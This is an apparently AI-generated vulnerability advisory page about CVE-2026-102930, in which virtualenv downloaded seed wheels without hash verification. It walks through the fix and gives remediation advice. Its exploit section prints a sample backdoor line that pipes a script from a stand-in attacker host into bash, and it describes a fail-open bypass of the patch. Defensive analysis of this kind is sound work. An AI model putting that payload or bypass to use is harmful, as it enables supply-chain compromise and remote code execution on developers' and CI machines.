CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-102930

CVE-2026-102930: Remote Code Execution via Unverified Dynamic Wheel Downloads in virtualenv

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 1, 2026·4 min read·7 visits

Executive Summary (TL;DR)

Prior to 21.7.12, virtualenv dynamically downloaded core python wheels without verifying their hashes, allowing network interceptors to inject backdoored code into newly created virtual environments.

CVE-2026-102930 is a high-severity supply chain vulnerability in virtualenv prior to version 21.7.12. The download_wheel() function lacks integrity checks when dynamically fetching seed packages (such as pip or setuptools) over the network. This allows an attacker to intercept the network stream, replace packages with backdoored components, and achieve arbitrary code execution inside newly spawned virtual environments.

Vulnerability Overview

The Python library virtualenv is widely used to build isolated environments. To accomplish isolation, the library installs essential seed packages (including pip, setuptools, and wheel) during environment creation.

By default, virtualenv utilizes internal pre-packaged wheels or retrieves updated wheels over the network. When running with the --download option, or during automatic background update cycles, the system retrieves files using a subprocess execution of pip download.

Prior to version 21.7.12, the download_wheel() function did not verify the cryptographic integrity of these retrieved packages. This exposes an attack vector to Machine-in-the-Middle (MitM) interceptors, compromised package mirrors, or DNS manipulation.

Root Cause Analysis

The root cause of this flaw is classified as CWE-494: Download of Code Without Integrity Check. The execution logic relies entirely on the underlying transport layer and index configuration of pip to ensure package authenticity.

When download_wheel() completes, the received .whl files are stored directly inside the application-data cache (typically located at ~/.local/share/virtualenv/wheel/). Because there was no validation against an authoritative SHA-256 digest, the system immediately accepted any file delivered by the host.

This behavior is highly exploitable. Once a compromised package is written to the cache, it is unpacked and executed on subsequent invocations of virtualenv. This results in silent execution of code within the victim's developmental, CI/CD, or production environment.

Code Analysis and Patch Walkthrough

The vulnerability was fixed in version 21.7.12 by introducing strict hash verification against PyPI's JSON API metadata. The patch defines _uses_default_index to determine if a custom index is declared in environment variables:

_CUSTOM_INDEX_ENV_VARS: Final[tuple[str, ...]] = ("PIP_INDEX_URL", "PIP_EXTRA_INDEX_URL", "PIP_INDEX")
 
def _uses_default_index(env: dict[str, str]) -> bool:
    return not any(env.get(var) for var in _CUSTOM_INDEX_ENV_VARS)

If the default index is active, the download process invokes verify_wheel_digest(). This helper compares the file's SHA-256 digest to the authoritative metadata retrieved from PyPI:

def verify_wheel_digest(wheel: Wheel) -> None:
    entry = _pypi_release_entry_for_wheel(wheel)
    if entry is None:
        LOGGER.debug("could not verify %s against PyPI: no matching release record", wheel.name)
        return
    digests = entry.get("digests")
    expected = digests.get("sha256") if isinstance(digests, dict) else None
    if not isinstance(expected, str):
        return
    actual = hashlib.sha256(wheel.path.read_bytes()).hexdigest()
    if actual != expected:
        msg = f"downloaded wheel {wheel.name} has sha256 {actual}, but PyPI reports {expected}"
        raise RuntimeError(msg)

Any mismatch triggers a fatal error, halting environment creation and preventing the installation of the corrupt dependency.

Exploit Methodology

To exploit this flaw, an attacker must capture or proxy the victim's connections to PyPI or trick the client into using an untrusted local mirror. The attacker constructs a modified seed archive (e.g., setuptools-75.1.0-py3-none-any.whl) containing a malicious module payload inside setuptools/__init__.py:

# Injected payload
import subprocess
subprocess.Popen(["/bin/bash", "-c", "curl -s http://attacker.local/shell.sh | bash"])

When the victim invokes virtualenv --download venv_name, the download logic fetches the modified package. Because no integrity verification is performed, the archive is written directly to the cache. The payload executes silently when the virtual environment is built or whenever the target module is imported.

Impact Assessment

Successful exploitation leads to absolute compromise of the executing environment. Because virtualenv is widely used within automated build systems, code-analysis setups, and CI/CD networks, this vulnerability acts as an entry point for supply chain manipulation.

The payload inherits the permissions of the calling user. In multi-tenant infrastructure, this can facilitate privilege escalation or unauthorized read access to database secrets and credentials. Compromising the integrity of local python dependencies may allow attackers to inject secondary backdoors directly into application deployment pipelines.

Remediation and Limitations

The primary recommendation is upgrading virtualenv to version 21.7.12 or later immediately. Users should restrict access to dynamic internet package downloads where possible.

Several design limitations in the patch should be recognized. The verification logic fails-open if PyPI's API is completely offline. An attacker who selectively blocks connection requests to PyPI's JSON API while permitting raw TCP package downloads can trigger a fall-back scenario, bypassing the validation altogether.

Furthermore, the patch does not inspect system-level pip.conf configuration files. If an alternative repository is configured globally, the verification system may still check the local packages against official PyPI records. This mismatch will fail the installation, causing a persistent local Denial of Service (DoS).

Official Patches

pypaPR introducing dynamic hash verification checks for dynamically downloaded seed wheels.
pypaOfficial virtualenv 21.7.12 release notes.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected Systems

virtualenv

Affected Versions Detail

Product
Affected Versions
Fixed Version
virtualenv
pypa
< 21.7.1221.7.12
AttributeDetail
CWE IDCWE-494
Attack VectorNetwork
CVSS v4.0 Score7.7
EPSS ScoreNone
ImpactArbitrary Code Execution
Exploit StatusPoC-level
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1195Supply Chain Compromise
Initial Access
T1195.001Supply Chain Compromise: Compromise Software Dependencies and Development Tools
Initial Access
T1195.002Supply Chain Compromise: Compromise Software Distribution
Initial Access
CWE-494
Download of Code Without Integrity Check

The application downloads source code or an executable from an external site, but does not verify the code's integrity.

Vulnerability Timeline

Vulnerability patch created and pushed by maintainer Bernát Gábor.
2026-09-17
Official release of virtualenv 21.7.12.
2026-09-18
GitHub Advisory published and CVE allocated.
2026-09-29

References & Sources

  • [1]GitHub Security Advisory: Unverified seed wheel dynamic downloads
  • [2]NVD - CVE-2026-102930 Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•35 minutes ago•CVE-2026-102938
5.8

CVE-2026-102938: Configuration Injection and Local Execution Hijack in virtualenv

An input validation vulnerability in the virtualenv package allows local execution hijacking via configuration injection. When generating the pyvenv.cfg configuration file, user-controlled parameters such as prompt options are written verbatim without sanitizing line-boundary sequences. This allows attackers to inject arbitrary configuration options, causing the tool to read malicious base interpreter paths.

Alon Barad
Alon Barad
2 views•6 min read
•about 3 hours ago•GHSA-3Q6V-R5MR-HXV8
7.5

GHSA-3Q6V-R5MR-HXV8: Algorithmic Complexity Denial of Service in league/commonmark GFM Table Extension

An algorithmic complexity vulnerability in the `league/commonmark` library's GitHub Flavored Markdown (GFM) Table extension allows remote, unauthenticated attackers to cause a Denial of Service (DoS) via high CPU consumption. By submitting a specially crafted Markdown payload containing an extremely long paragraph without letter characters or pipe symbols, the parser executes a quadratic-time $O(N^2)$ scanning operation that exhausts system resources.

Alon Barad
Alon Barad
5 views•6 min read
•about 4 hours ago•CVE-2026-84377
6.5

CVE-2026-84377: Server-Side Request Forgery and Provider Credential Exfiltration in LiteLLM Proxy

An authenticated Server-Side Request Forgery (SSRF) and credential exfiltration vulnerability exists in LiteLLM proxy prior to versions 1.88.6 and 1.96.2. By bypassing sanitization logic through nested form-data parameters or using connection health checks, authenticated users can redirect outbound API calls to arbitrary endpoints, exposing sensitive upstream administrative credentials.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 5 hours ago•CVE-2026-91776
7.5

CVE-2026-91776: Denial of Service via Unbounded Polymorphic Cache in jackson-databind

CVE-2026-91776 is a high-severity Denial of Service (DoS) vulnerability in the FasterXML jackson-databind library. The vulnerability is caused by uncontrolled resource consumption (CWE-400) where raw, unrecognized polymorphic type IDs are cached indefinitely without boundaries inside TypeDeserializerBase. When name-based polymorphic deserialization is configured with a fallback mechanism (such as a default implementation or custom problem handlers), remote attackers can send crafted payloads containing unique unknown type IDs, causing heap exhaustion, Garbage Collection (GC) overhead limit exhaustion, and an Out-of-Memory (OOM) crash.

Alon Barad
Alon Barad
6 views•6 min read
•about 6 hours ago•CVE-2026-91777
7.5

CVE-2026-91777: Algorithmic Complexity Denial of Service in FasterXML jackson-databind

An uncontrolled resource consumption vulnerability in FasterXML jackson-databind allows remote unauthenticated attackers to cause a Denial of Service (DoS) via crafted JSON payloads containing out-of-order forward references in identity-enabled collections or maps.

Alon Barad
Alon Barad
10 views•6 min read
•about 7 hours ago•GHSA-97JJ-33GV-5XF9
6.1

GHSA-97jj-33gv-5xf9: Stored Cross-Site Scripting Bypass in league/commonmark DisallowedRawHtml Extension

A security vulnerability in league/commonmark versions 1.3.0 through 2.10.1 allows remote attackers to bypass Stored Cross-Site Scripting (XSS) protections in the DisallowedRawHtml extension. Due to an validation logic flaw in the regular expression parser, specifically handling bare, unclosed HTML blocks ending at the string boundary, raw HTML tags can be passed to the rendered output. When combined with browser-side parsing heuristics, an attacker can execute arbitrary JavaScript in the context of the user session.

Amit Schendel
Amit Schendel
9 views•6 min read